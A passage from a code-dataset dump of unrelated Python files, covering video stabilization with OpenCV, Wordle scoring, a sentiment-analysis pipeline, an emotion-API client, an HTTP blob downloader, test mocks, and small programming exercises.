height, transformation_matrices, max_matrices):\n grayscale_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n _, quantized_image = cv2.threshold(grayscale_image, 100, 255, cv2.THRESH_BINARY)\n objects, _ = cv2.findContours(quantized_image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n biggest_object = max(objects, key=cv2.contourArea)\n hull = cv2.convexHull(biggest_object)\n epsilon = 0.01 * cv2.arcLength(hull, True)\n hull = cv2.approxPolyDP(hull, epsilon, True)\n\n if len(hull) > 4 and len(hull) < 8:\n unaligned_box_around_object = cv2.minAreaRect(hull)\n hull = np.intp(cv2.boxPoints(unaligned_box_around_object))\n\n if len(hull) == 4:\n input_points = order_points(hull.reshape(4, 2))\n output_points = order_points(np.array([[0, 0], [width - 1, 0], [width - 1, height - 1], [0, height - 1]]))\n\n input_rectangle = np.array(input_points, dtype=np.float32)\n output_rectangle = np.array(output_points, dtype=np.float32)\n matrix = cv2.getPerspectiveTransform(input_rectangle, output_rectangle)\n\n transformation_matrices.append(matrix)\n if len(transformation_matrices) > max_matrices:\n transformation_matrices.pop(0)\n\n if len (transformation_matrices) == 0:\n return image\n\n average_matrix = np.mean(transformation_matrices, axis=0)\n\n corrected_image = cv2.warpPerspective(image, average_matrix, (width, height))\n\n return corrected_image\n\ndef rotate_image (image, rotation):\n if rotation == 180:\n image = cv2.rotate (image, cv2.ROTATE_180)\n elif rotation == 90:\n image = cv2.rotate (image, cv2.ROTATE_90_CLOCKWISE)\n elif rotation == 270:\n image = cv2.rotate (image, cv2.ROTATE_90_COUNTERCLOCKWISE)\n\n return image\n\ndef stabilize_image(image, transformations_buffer, max_transformations, state):\n orb = cv2.ORB_create()\n\n grayscale_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n if state is None:\n key_points, descriptors = orb.detectAndCompute(grayscale_image, None)\n state = {'key-points': key_points, 'descriptors': descriptors}\n return image, state\n\n key_points, descriptors = orb.detectAndCompute(grayscale_image, None)\n\n matcher = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n\n matches = matcher.match(state['descriptors'], descriptors)\n\n if len(matches) < 200:\n state['key-points'] = key_points\n state['descriptors'] = descriptors\n transformations_buffer.clear()\n return image, state\n\n matches = sorted(matches, key=lambda x: x.distance)\n\n points1 = np.zeros((len(matches), 2), dtype=np.float32)\n points2 = np.zeros((len(matches), 2), dtype=np.float32)\n\n for i, match in enumerate(matches):\n points1[i, :] = state['key-points'][match.queryIdx].pt\n points2[i, :] = key_points[match.trainIdx].pt\n\n h, _ = cv2.findHomography(points1, points2, cv2.RANSAC)\n\n transformations_buffer.append(h)\n\n if len(transformations_buffer) > max_transformations:\n transformations_buffer.pop(0)\n\n average_transform = np.mean(transformations_buffer, axis=0)\n\n stabilized_image = cv2.warpPerspective(image, average_transform, (image.shape[1], image.shape[0]))\n\n state['key-points'] = key_points\n state['descriptors'] = descriptors\n\n return stabilized_image, state\n\ndef draw_audio_bars(image, width, height, audio_level, minimum_audio_level, maximum_audio_level):\n audio_bars_width = int(0.10 * width)\n audio_bars_height = int(0.025 * height)\n audio_bars_image = np.zeros((audio_bars_height, audio_bars_width, 3), dtype=np.uint8)\n\n max_audio_bars = 20\n number_of_audio_bars = int(audio_level * max_audio_bars)\n\n audio_bar_thickness = audio_bars_width // max_audio_bars\n audio_bar_thickness = audio_bar_thickness // 3\n\n for i in range(number_of_audio_bars):\n x1 = int (i * (audio_bar_thickness * 2))\n x2 = x1 + audio_bar_thickness\n y1 = 0\n y2 = audio_bars_height\n\n progress = (1.0 * i) / number_of_audio_bars\n color = (int(128 * progress), 64 + int(128 * progress), int(128 * progress))\n cv2.rectangle(audio_bars_image, (x1, y1), (x2, y2), color, -1)\n\n x_offset = width - audio_bars_width - 20\n y_offset = height - audio_bars_height - 20\n\n image[y_offset:y_offset+audio_bars_height, x_offset:x_offset+audio_bars_width] = audio_bars_image\n\n return image\n\ndef get_audio_levels_for_timestamp(audio_levels, timestamp, state):\n with condition:\n while not audio_levels or timestamp > audio_levels.peekitem(-1)[0]:\n condition.wait()\n\n if not audio_levels or timestamp > audio_levels.peekitem(-1)[0]:\n raise Exception(\"No audio frames left\")\n\n index = audio_levels.bisect_left(timestamp)\n\n if index != 0 and (index == len(audio_levels) or audio_levels.iloc[index] - timestamp > timestamp - audio_levels.iloc[index - 1]):\n index -= 1\n\n closest_timestamp = audio_levels.iloc[index]\n audio_level = audio_levels[closest_timestamp]\n\n if state is None:\n state = {'minimum-audio-level': audio_level, 'maximum-audio-level': audio_level }\n\n minimum_audio_level = min(state['minimum-audio-level'], min(list(audio_levels.values())))\n maximum_audio_level = max(state['maximum-audio-level'], max(list(audio_levels.values())))\n\n if maximum_audio_level != minimum_audio_level:\n audio_level = (audio_level - minimum_audio_level) / (maximum_audio_level - minimum_audio_level)\n else:\n audio_level = 0.0\n\n stale_indices = list(audio_levels.islice(stop=index))\n\n for index in stale_indices:\n del audio_levels[index]\n\n state['minimum-audio-level'] = minimum_audio_level\n state['maximum-audio-level'] = maximum_audio_level\n\n return (audio_level, minimum_audio_level, maximum_audio_level, state)\n\nGst.init(None)\n\noutput = None\nvideo = cv2.VideoCapture(input_file)\n\nsuccess = video.isOpened()\n\nif success:\n fps = int(video.get(cv2.CAP_PROP_FPS))\n width = int(video.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(video.get(cv2.CAP_PROP_FRAME_HEIGHT))\n output = cv2.VideoWriter(f'appsrc ! videoconvert ! x264enc ! mpegtsmux ! filesink location={output_file}', cv2.VideoWriter_fourcc(*'x264'), fps, (width,height), isColor=True)\n success = output.isOpened()\n\naudio_levels = SortedDict()\ncondition = threading.Condition()\n\nif success:\n print(\"Starting audio extraction\")\n thread = threading.Thread(target=extract_audio, args=(audio_levels, condition))\n thread.start()\n\ni = 0\nrotation_matrices = []\ncropping_rects = []\ntransformation_matrices = []\ntransformations_buffer = deque(maxlen=fps)\nstabilization_state = None\naudio_state = None\n\ntry:\n rotation = get_rotation(input_file);\nexcept Exception as e:\n print(e)\n rotation = 0\n\ntry:\n while success:\n success, pristine_image = video.read()\n\n if not success:\n break\n\n try:\n print(\"Drawing frame \" + str(i));\n image = pristine_image\n image = rotate_image (image, rotation)\n #image = draw_biggest_object (image)\n number_of_frames_to_smooth=fps\n image, stabilization_state = stabilize_image (image, transformations_buffer, number_of_frames_to_smooth, stabilization_state)\n image = transform_image_to_be_axis_aligned(image, width, height, transformation_matrices, number_of_frames_to_smooth)\n\n timestamp = video.get(cv2.CAP_PROP_POS_MSEC) * 1e6\n\n if audio_loop.is_running():\n audio_level, minimum_audio_level, maximum_audio_level, audio_state = get_audio_levels_for_timestamp (audio_levels, timestamp, audio_state)\n image = draw_audio_bars(image, width, height, audio_level, minimum_audio_level, maximum_audio_level);\n\n except Exception as e:\n print(e)\n traceback.print_exc()\n image = pristine_image\n\n output.write(image)\n\n i = i + 1\nexcept:\n pass\n\nif output:\n output.release()\n\nif audio_loop.is_running():\n audio_loop.quit()\nthread.join()\n","repo_name":"halfline/monitor-to-full-frame","sub_path":"monitor-to-full-frame.py","file_name":"monitor-to-full-frame.py","file_ext":"py","file_size_in_byte":11215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2663325314","text":"import json\r\nimport pandas as pd\r\n\r\nf = open('./guess.json','r')\r\ndata = json.load(f)\r\ndata_rev = {}\r\nfout2 = open('guess.csv','w')\r\nfor k_,v_ in data.items():\r\n tot = 0\r\n for ch in k_:\r\n if ch.isalpha():\r\n tot+=1\r\n if v_ not in data_rev.keys():\r\n data_rev[v_] = tot/5+1\r\n else:\r\n data_rev[v_] = min(data_rev[v_],tot/5+1)\r\n if v_ == 'favor':\r\n print(k_)\r\n print(data_rev['favor'])\r\nfout2.write('word,score\\n')\r\nfor k_,v_ in data_rev.items():\r\n fout2.write('{},{}\\n'.format(k_,v_))\r\n\r\nf.close()\r\nf = open('./salet.txt','r')\r\ndata_rev2 = {}\r\nfout2 = open('guess2.csv','w')\r\nfor line in f.readlines():\r\n word = line.split(',')\r\n word = [_.strip() for _ in word]\r\n if word[-1] not in data_rev2:\r\n data_rev2[word[-1]] = len(word)\r\n else:\r\n data_rev2[word[-1]] = min(data_rev2[word[-1]],len(word))\r\nfout2.write('word,score\\n')\r\nfor k_,v_ in data_rev2.items():\r\n fout2.write('{},{}\\n'.format(k_,v_))\r\n\r\n\r\nf.close()\r\nfout = open('score.csv','w')\r\nfout.write('word,score\\n')\r\ndf = pd.read_excel('../data.xlsx')\r\nfor i in range(len(df)):\r\n tot = data_rev[df.word.iloc[i]]\r\n fout.write('{},{}\\n'.format(df.word.iloc[i],tot))\r\n\r\nfout = open('score2.csv','w')\r\nfout.write('word,score\\n')\r\nfor i in range(len(df)):\r\n tot = data_rev2[df.word.iloc[i]]\r\n fout.write('{},{}\\n'.format(df.word.iloc[i],tot))","repo_name":"mashiroyuki02/yukiki02.GitHub.io","sub_path":"src/wordle.py","file_name":"wordle.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1586028671","text":"\"\"\"\r\nExercise 5\r\n\"\"\"\r\n\r\nEU = [\"SPAIN\", \"FRANCE\", \"GERMANY\"]\r\n\r\npurchaseValue = float(input(\"Purchase value? \"))\r\ncountry = input(\"Where are you from? \").strip()\r\n\r\nshipping = 0\r\nif country.upper() == \"PORTUGAL\":\r\n if input(\"Are you from Azores or Madeira? [Y/N] \").strip().upper() == \"Y\":\r\n shipping = 5\r\nelif country.upper() in EU and purchaseValue > 50:\r\n shipping = 15\r\nelse:\r\n shipping = 25\r\n\r\nprint(\"Purchase value: {}\".format(purchaseValue))\r\nprint(\"Shipping: {}\".format(shipping))\r\nprint(\"Purchase w/ shipping: {}\".format(purchaseValue + shipping))\r\n","repo_name":"Oscar-Oliveira/Python-3","sub_path":"18_Exercises/A_Exercises/Solutions/Ex5.py","file_name":"Ex5.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39523408086","text":"from random import choice\nimport logging\n\nfrom twisted.internet import defer\nimport treq\n\nfrom lbrynet.core.Error import DownloadCanceledError\n\nlog = logging.getLogger(__name__)\n\n\nclass HTTPBlobDownloader(object):\n '''\n A downloader that is able to get blobs from HTTP mirrors.\n Note that when a blob gets downloaded from a mirror or from a peer, BlobManager will mark it as completed\n and cause any other type of downloader to progress to the next missing blob. Also, BlobFile is naturally able\n to cancel other writers when a writer finishes first. That's why there is no call to cancel/resume/stop between\n different types of downloaders.\n '''\n def __init__(self, blob_manager, blob_hashes=None, servers=None, client=None, sd_hashes=None):\n self.blob_manager = blob_manager\n self.servers = servers or []\n self.client = client or treq\n self.blob_hashes = blob_hashes or []\n self.sd_hashes = sd_hashes or []\n self.head_blob_hashes = []\n self.max_failures = 3\n self.running = False\n self.semaphore = defer.DeferredSemaphore(2)\n self.deferreds = []\n self.writers = []\n\n def start(self):\n if not self.running and self.blob_hashes and self.servers:\n return self._start()\n defer.succeed(None)\n\n def stop(self):\n if self.running:\n for d in reversed(self.deferreds):\n d.cancel()\n for writer in self.writers:\n writer.close(DownloadCanceledError())\n self.running = False\n self.blob_hashes = []\n\n @defer.inlineCallbacks\n def _start(self):\n self.running = True\n dl = []\n for blob_hash in self.blob_hashes:\n blob = yield self.blob_manager.get_blob(blob_hash)\n if not blob.verified:\n d = self.semaphore.run(self.download_blob, blob)\n d.addErrback(lambda err: err.check(defer.TimeoutError, defer.CancelledError))\n dl.append(d)\n self.deferreds = dl\n yield defer.DeferredList(dl)\n\n @defer.inlineCallbacks\n def download_blob(self, blob):\n for _ in range(self.max_failures):\n writer, finished_deferred = blob.open_for_writing('mirror')\n self.writers.append(writer)\n try:\n downloaded = yield self._write_blob(writer, blob)\n if downloaded:\n yield finished_deferred # yield for verification errors, so we log them\n if blob.verified:\n log.info('Mirror completed download for %s', blob.blob_hash)\n b_h = blob.blob_hash\n if b_h in self.sd_hashes or b_h in self.head_blob_hashes:\n should_announce = True\n else:\n should_announce = False\n yield self.blob_manager.blob_completed(blob, should_announce=should_announce)\n break\n except (IOError, Exception) as e:\n if isinstance(e, DownloadCanceledError) or 'closed file' in str(e):\n # some other downloader finished first or it was simply cancelled\n log.info(\"Mirror download cancelled: %s\", blob.blob_hash)\n break\n else:\n log.exception('Mirror failed downloading')\n finally:\n finished_deferred.addBoth(lambda _: None) # suppress echoed errors\n if 'mirror' in blob.writers:\n writer.close()\n self.writers.remove(writer)\n\n @defer.inlineCallbacks\n def _write_blob(self, writer, blob):\n response = yield self.client.get(url_for(choice(self.servers), blob.blob_hash))\n if response.code != 200:\n log.debug('Missing a blob: %s', blob.blob_hash)\n if blob.blob_hash in self.blob_hashes:\n self.blob_hashes.remove(blob.blob_hash)\n defer.returnValue(False)\n\n log.debug('Download started: %s', blob.blob_hash)\n blob.set_length(response.length)\n yield self.client.collect(response, writer.write)\n defer.returnValue(True)\n\n @defer.inlineCallbacks\n def download_stream(self, stream_hash, sd_hash):\n blobs = yield self.blob_manager.storage.get_blobs_for_stream(stream_hash)\n blob_hashes = [\n b.blob_hash for b in blobs if b.blob_hash is not None and b.blob_hash not in self.blob_hashes\n ]\n self.blob_hashes.extend(blob_hashes)\n if sd_hash not in self.sd_hashes:\n self.sd_hashes.append(sd_hash)\n if blob_hashes[0] not in self.head_blob_hashes:\n self.head_blob_hashes.append(blob_hashes[0])\n yield self.start()\n\n\ndef url_for(server, blob_hash=''):\n return 'http://{}/{}'.format(server, blob_hash)\n","repo_name":"blockchainhelppro/Coin-Development","sub_path":"HTTPBlobDownloader.py","file_name":"HTTPBlobDownloader.py","file_ext":"py","file_size_in_byte":4898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74272695291","text":"# -*- coding:utf-8 -*-\nimport json\nimport urllib2\nfrom datetime import datetime\n\nclass EmotionDetection(object):\n \"\"\"docstring for EmotionDetection\"\"\"\n def __init__(self):\n super(EmotionDetection, self).__init__()\n\n # __url = 'http://0.0.0.0:5678/chuck/couple'\n\n __url = 'http://140.114.77.18:5678/emomap/couple'\n\n def get_obj(self, texts_list):\n '''\n Input : [TEXT_LIST]\n Output: [JSON]\n '''\n # Prepare the query information\n query = {\"data\":[]}\n for text in texts_list:\n query[\"data\"].append({\"message\":text, \"datetime\": datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\"), \"story\":\"Huang Yen Hao at 清華名人堂.\"})\n\n req = urllib2.Request(self.__url)\n req.add_header('Content-Type', 'application/json')\n\n # Send request\n response = urllib2.urlopen(req, json.dumps(query))\n\n return json.loads(response.read())\n\n\n\nif __name__ == '__main__':\n em = EmotionDetection()\n\n texts_list = ['Apple不能作業系統阿Apple是IOS系統','看不到你的號碼因為我們這樣分析的','好的那歡迎你直到了晚上去體驗看看','4分鐘不只阿他他他覺得這樣速度很慢']\n\n json = em.get_obj(texts_list)\n\n print(json['data'])\n\n for js_obj in json['data']:\n output_format = '{}\\nFirst Emotion : {}\\nSecond Emotion : {}\\nIs it Ambiguous : {}\\n\\n'.format(\n (js_obj.get('message')).encode('utf-8'), js_obj.get('emotion1'), js_obj.get('emotion2'), js_obj.get('ambiguous')\n )\n print(output_format)","repo_name":"yenhao/EmotionDetection_API","sub_path":"EmotionDetection_ch.py","file_name":"EmotionDetection_ch.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3370103993","text":"# coding: utf-8\n# flake8: noqa\nimport json\nfrom unittest import TestCase\n\nfrom mock import patch\n\nfrom infinity.api.base import API\n\n\nclass APIMixin(TestCase):\n def create_api_client(self):\n \"\"\"Returns dummy api client\"\"\"\n api = API(base_url='http://example.com/api/v1')\n return api\n\n\nclass AuthenticatedAPIMixin(APIMixin):\n def create_api_client(self):\n api = super(AuthenticatedAPIMixin, self).create_api_client()\n api.session.api_token = 'test_token'\n api.session.user = {}\n return api\n\n\ndef create_api_response(status_code, content=None, headers=None):\n \"\"\"Returns MockResponse with parameters from arguments\"\"\"\n return MockResponse(status_code, content, headers)\n\n\ndef patch_api_request(status_code, json):\n \"\"\"\n Decorator\n Patches requests.sessions.Session.send for mocking API requests\n \"\"\"\n return patch(\n 'requests.sessions.Session.send',\n return_value=create_api_response(status_code, json),\n )\n\n\nclass MockResponse(object):\n def __init__(self, status_code, content=None, headers=None):\n self.content = content\n self.status_code = status_code\n self.headers = headers or {}\n\n def json(self):\n if isinstance(self.content, dict):\n return self.content\n return json.loads(self.content)\n","repo_name":"infamily/infinity-telegram","sub_path":"src/infinity/api/tests/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"36364457697","text":"from sparknlp.pretrained import PretrainedPipeline\nfrom sparknlp.base import PipelineModel\nfrom sparknlp.annotator import StopWordsCleaner\nfrom sparknlp.pretrained import ViveknSentimentModel, ViveknSentimentApproach\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.feature import StringIndexer\nfrom pyspark.ml.evaluation import MulticlassClassificationEvaluator\nfrom pyspark.sql.functions import when, array_join\nfrom PredictionAlgorithms.PredictiveConstants import PredictiveConstants as pc\nfrom PredictionAlgorithms.SentimentAnalysis.TextProcessing import TextProcessing\nfrom PredictionAlgorithms.PredictiveUtilities import PredictiveUtilities as pu\nimport sparknlp\n\n\"\"\"get the latest jars from the maven \nhttps://mvnrepository.com/artifact/com.johnsnowlabs.nlp/spark-nlp_2.11/2.4.3\n\"\"\"\n\n#'JohnSnowLabs:spark-nlp:2.4.3'\n#'com.johnsnowlabs.nlp:spark-nlp_2.11:2.4.3'\n# .config('spark.jars.packages', ','.join(packages)) \\\n# packages = [\n# 'com.johnsnowlabs.nlp:spark-nlp_2.11:2.4.3'\n# ]\n\nfrom pyspark.sql import SparkSession\n\nsparkTest = SparkSession \\\n .builder \\\n .appName(\"spark_nlp_sentimentAnalysis\") \\\n .config(\"spark.jars\", \"/home/fidel/cache_pretrained/spark-nlp_2.11-2.4.3.jar\")\\\n .getOrCreate()\n# sparkTest = SparkSession.builder.appName(\"TEst\").getOrCreate()\n\n# sparkTest = sparknlp.start()\n\n\nclass SparkNLPTest():\n def __init__(self):\n pass\n\n def sentimentAnalysis(self, infoData):\n infoData = self.textProcessing(infoData)\n infoData = self.viveknSentimentAnalysis(infoData)\n storagePath = infoData.get(pc.STORAGELOCATION)\n modelName = infoData.get(pc.MODELSHEETNAME)\n modelPath = storagePath + modelName\n #writing the info data in the json file for using in sentiment prediction.\n \"\"\"drop the obj which is not jsonSerializable\"\"\"\n infoData.pop(pc.SPARK, \"None\")\n infoData.pop(pc.DATASET, \"None\")\n infoData.pop(pc.TESTDATA, \"None\")\n pu.writeToJson(modelPath, infoData)\n print(\"success\")\n\n def textProcessing(self, infoData):\n # read the dataset and remove all the special characters and update the dataset.\n dataset = self.cleanData(infoData)\n sentimentCol = infoData.get(pc.SENTIMENTCOLNAME)\n labelCol = infoData.get(pc.LABELCOLM)\n storagePath = infoData.get(pc.STORAGELOCATION)\n modelName = infoData.get(pc.ALGORITHMNAME)\n documentPipeline = infoData.get(pc.DOCUMENTPRETRAINEDPIPELINE)\n dataset = dataset.withColumnRenamed(sentimentCol, \"text\")\n # explainDocument = PretrainedPipeline(\"explain_document_dl\", \"en\") #only need to download it once.\n loadedDocumentPipeline = PipelineModel.load(documentPipeline)\n dataset = loadedDocumentPipeline.transform(dataset)\n\n #loading the document model for use at the time of prediction of sentiment analysis.\n documentPipelinePath = storagePath + modelName\n loadedDocumentPipeline.write().overwrite().save(documentPipelinePath)\n infoData.get(infoData.get(pc.SPARKNLPPATHMAPPING).update({pc.DOCUMENTMODEL: documentPipelinePath}))\n\n stopWordsRemover = StopWordsCleaner().setInputCols([\"lemma\"])\\\n .setOutputCol(pc.DMXSTOPWORDS)\n dataset = stopWordsRemover.transform(dataset)\n\n \"\"\"need to implement the pipeline on later stage\"\"\"\n # pipeline = Pipeline(stages=[explainDocument, stopWordsRemover])\n # dataset = pipeline.transform(dataset)\n dataset = self.changeSentimentVal(dataset, labelCol)\n\n infoData.update({pc.DATASET: dataset})\n return infoData\n\n def stringToIndex(self, infoData):\n\n dataset = infoData.get(pc.TESTDATA)\n\n stringIndexerOriginal = StringIndexer(inputCol=\"original_sentiment\", outputCol=\"original_sentiment_indexed\")\n\n stringIndexerPredicted = StringIndexer(inputCol=\"viveknSentiment\", outputCol=\"viveknSentiment_indexed\")\n\n indexerPipeline = Pipeline(stages=[stringIndexerOriginal, stringIndexerPredicted])\n indexerPipelineFit = indexerPipeline.fit(dataset)\n dataset = indexerPipelineFit.transform(dataset)\n\n # if the indexing of both the column doesnot matches then match the index value of these.\n dataset = dataset.withColumn(\"viveknSentiment_indexed\",\n when(dataset[\"viveknSentiment_indexed\"] == 0.0, 1.0)\n .when(dataset[\"viveknSentiment_indexed\"] == 1.0, 0.0))\n infoData.update({pc.TESTDATA: dataset,\n pc.INDEXEDCOLM: \"original_sentiment_indexed\",\n pc.PREDICTIONCOLM:\"viveknSentiment_indexed\"})\n return infoData\n\n def cleanData(self, infoData):\n datasetPath = infoData.get(pc.SENTIMENTDATASETPATH)\n sentimentCol = infoData.get(pc.SENTIMENTCOLNAME)\n spark = infoData.get(pc.SPARK)\n dataset = spark.read.parquet(datasetPath)\n textProcessing = TextProcessing()\n dataset = textProcessing.replaceSpecialChar(dataset, sentimentCol)\n return dataset\n\n def changeSentimentVal(self, dataset, labelCol):\n dataset = dataset.withColumn(\"original_sentiment\",\n when(dataset[labelCol] == \"POS\", \"positive\")\n .when(dataset[labelCol] == \"NEG\", \"negative\"))\n return dataset\n\n def viveknSentimentAnalysis(self, infoData):\n dataset = infoData.get(pc.DATASET)\n (trainDataset, testDataset) = dataset.randomSplit([0.80, 0.20], seed=0)\n viveknSentiment = ViveknSentimentApproach().setInputCols([\"document\", pc.DMXSTOPWORDS])\\\n .setOutputCol(\"viveknSentiment\").setSentimentCol(\"original_sentiment\")\n viveknSentimentModel = viveknSentiment.fit(trainDataset)\n testDatasetPrediction = viveknSentimentModel.transform(testDataset)\n\n #storing the model at a location for future use in case of prediction of sentiment analysis.\n \"\"\"you will get the list of all trained models and pretrained pipelines for using in the prediction of sentiment\"\"\"\n storagePath = infoData.get(pc.STORAGELOCATION)\n modelName = \"testViveknSentiment\" #sahil - temporary only\n modelPath = storagePath + modelName\n viveknSentimentModel.write().overwrite().save(modelPath)\n infoData.get(infoData.get(pc.SPARKNLPPATHMAPPING).update({pc.SENTIMENTMODEL: modelPath}))\n\n\n #convert back the column type to the string format\n testDatasetPrediction = testDatasetPrediction.withColumn(\"viveknSentiment\", array_join(\"viveknSentiment.result\", \"\"))\n infoData.update({pc.TESTDATA: testDatasetPrediction})\n\n # need to coverts both the colms original sentiment and predicted sentiment for evaluation.\n infoData = self.evaluation(self.stringToIndex(infoData))\n\n \"\"\"\n --> first check if the indexing is matching with label/original sentiment if not then match with the below method.\n finalDatasetTest = finalDatasetTest.withColumn(\"finalDataset_indexed\",\n when(finalDatasetTest[\"finalDataset_indexed\"] == 0.0, 1.0)\n .when(finalDatasetTest[\"finalDataset_indexed\"] == 1.0, 0.0))\n \"\"\"\n return infoData\n\n\n def evaluation(self, infoData):\n labelCol = infoData.get(pc.INDEXEDCOLM)\n predictionColm = infoData.get(pc.PREDICTIONCOLM)\n dataset = infoData.get(pc.TESTDATA)\n evaluator = MulticlassClassificationEvaluator(\n labelCol=labelCol, predictionCol=predictionColm, metricName=\"accuracy\")\n accuracy = evaluator.evaluate(dataset)\n print(\"Test Error = %g \" % (1.0 - accuracy)) # sahil- for temp only\n\n return infoData\n\n \"\"\"directly predict the sentiment without any need of training the dataset or having the label colm\"\"\"\n def vivekSentimentPretrained(self, infoData):\n dataset = infoData.get(pc.DATASET)\n \"\"\"use to download it once later we need to load it from the local to avoid dependency on online downloader.\"\"\"\n viveknSentiment = ViveknSentimentModel.pretrained(\"sentiment_vivekn\", \"en\").setInputCols(\n [\"document\", pc.DMXSTOPWORDS]).setOutputCol(\"viveknSentiment\")\n dataset = viveknSentiment.transform(dataset)\n\n\n\nif(__name__==\"__main__\"):\n sentimentModelName = \"sparkNLP\"\n storageLocation = \"/home/fidel/Documents/\"\n isNgram = False\n ngramPara = 2\n # reviewDatasetPath = \"/home/fidel/Documents/MOVIEDATASETPARQUET.parquet\"\n # reviewDatasetPath = \"/home/fidel/Documents/IMDBSAMPLE.parquet\"\n # reviewDatasetPath = \"/home/fidel/Documents/KNIMETRAININGDATASET.parquet\"\n reviewDatasetPath = \"/home/fidel/Documents/KNIMETESTDATASET.parquet\"\n\n positiveDatasetPath = \"/home/fidel/Documents/POSITIVESENTIMENTDATASETPARQUET.parquet\"\n negativeDatasetPath = \"/home/fidel/Documents/NEGATIVESENTIMENTDATASETPARQUET.parquet\"\n # sentimentColName = \"SentimentText\"\n sentimentColName = \"Text\"\n positiveColName = \"words\"\n negativeColName = \"words\"\n labelColName = \"Sentiment\"\n predictionColm = pc.PREDICTION_ + sentimentModelName\n indexerPathMapping = {}\n encoderPathMapping = {}\n algoName = \"viveknSentiment\"\n documentPretrainedPipeline = \"/home/fidel/cache_pretrained/explain_document_dl_en_2.4.0_2.4_1580255720201\"\n sparknlpPathMapping = {}\n\n decisionTreeInfo = {\n pc.SENTIMENTDATASETPATH: reviewDatasetPath,\n pc.POSITIVEDATASETPATH: positiveDatasetPath,\n pc.NEGATIVEDATASETPATH: negativeDatasetPath,\n pc.SENTIMENTCOLNAME: sentimentColName,\n pc.POSITIVECOLNAME: positiveColName,\n pc.NEGATIVECOLNAME: negativeColName,\n pc.SPARK: sparkTest,\n pc.LABELCOLM: labelColName,\n pc.STORAGELOCATION: storageLocation,\n pc.INDEXERPATHMAPPING: indexerPathMapping,\n pc.PREDICTIONCOLM: predictionColm,\n pc.MODELSHEETNAME: sentimentModelName,\n pc.ISNGRAM: isNgram,\n pc.NGRAMPARA: ngramPara,\n pc.ONEHOTENCODERPATHMAPPING: encoderPathMapping,\n pc.ALGORITHMNAME: algoName,\n pc.DOCUMENTPRETRAINEDPIPELINE: documentPretrainedPipeline,\n pc.SPARKNLPPATHMAPPING: sparknlpPathMapping\n\n }\n sparkNLPTest = SparkNLPTest()\n sparkNLPTest.sentimentAnalysis(infoData= decisionTreeInfo)","repo_name":"sahilsingh1123/predictiveAnalysis","sub_path":"PredictionAlgorithms/SentimentAnalysis/SparkNLPTest.py","file_name":"SparkNLPTest.py","file_ext":"py","file_size_in_byte":10309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20688275566","text":"# -*- coding: utf-8 -*-\r\nfrom __future__ import unicode_literals\r\n\r\nfrom django.db import models, migrations\r\nimport django.db.models.deletion\r\n\r\n\r\nclass Migration(migrations.Migration):\r\n\r\n dependencies = [\r\n ('nadep', '0010_remissao'),\r\n ]\r\n\r\n operations = [\r\n migrations.AddField(\r\n model_name='prisao',\r\n name='origem',\r\n field=models.OneToOneField(related_name='originada', null=True, blank=True, to='nadep.Prisao', on_delete=django.db.models.deletion.DO_NOTHING),\r\n ),\r\n ]\r\n","repo_name":"SegurancaDPDF/SOLAR-Backend","sub_path":"nucleo/nadep/migrations/0011_prisao_origem.py","file_name":"0011_prisao_origem.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15384932494","text":"\nwith open(\"input\") as f:\n inp = f.read().rstrip()\n\ndef reduce(polymer):\n my_polymer = ''\n for char in polymer:\n opp = char.upper() if char.islower() else char.lower()\n if len(my_polymer) and my_polymer[-1] == opp:\n my_polymer = my_polymer[:-1]\n continue\n my_polymer += char\n return my_polymer\n\ndef polymer_without_char(polymer, char):\n return (p for p in polymer if p != char and p != char.upper())\n\nlens = [len(reduce(polymer_without_char(inp, c))) for c in 'abcdefghijklmnopqrstuvwxyz']\nprint(min(lens))\n","repo_name":"shages/aoc","sub_path":"2018/python/05/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22961519182","text":"\"\"\"\nhttps://leetcode.com/problems/array-of-doubled-pairs/\n\nGiven an integer array of even length arr, \nreturn true if it is possible to reorder arr such \nthat arr[2 * i + 1] = 2 * arr[2 * i] for \nevery 0 <= i < len(arr) / 2, or false otherwise.\n\nExample 1:\nInput: arr = [3,1,3,6]\nOutput: false\n\nExample 2:\nInput: arr = [2,1,2,6]\nOutput: false\n\nExample 3:\nInput: arr = [4,-2,2,-4]\nOutput: true\nExplanation: We can take two groups, [-2,-4] and [2,4] to \nform [-2,-4,2,4] or [2,4,-2,-4].\n\nConstraints:\n2 <= arr.length <= 3 * 10^4\narr.length is even.\n-10^5 <= arr[i] <= 10^5\n\"\"\"\nfrom typing import List\nfrom copy import deepcopy\nfrom collections import Counter\n\n\ndef hashmap(arr: List[int]) -> bool:\n # Time complexity: O(nlogn + n) = O(nlogn)\n # Space complexity: O(n)\n\n # Sort the array, so we can start from the smallest\n # number, so there is only one choice of valid pairs\n # as we loop over the array: only the smallest\n # (or biggest) absolute value has only one possible\n # pair.\n arr.sort()\n\n # Use a hashmap for O(1) lookups of the available\n # numbers to form a pair { num: count_available }\n available = {}\n\n pairs_count = 0\n\n # Loop over the elements of `arr`\n for num in arr:\n 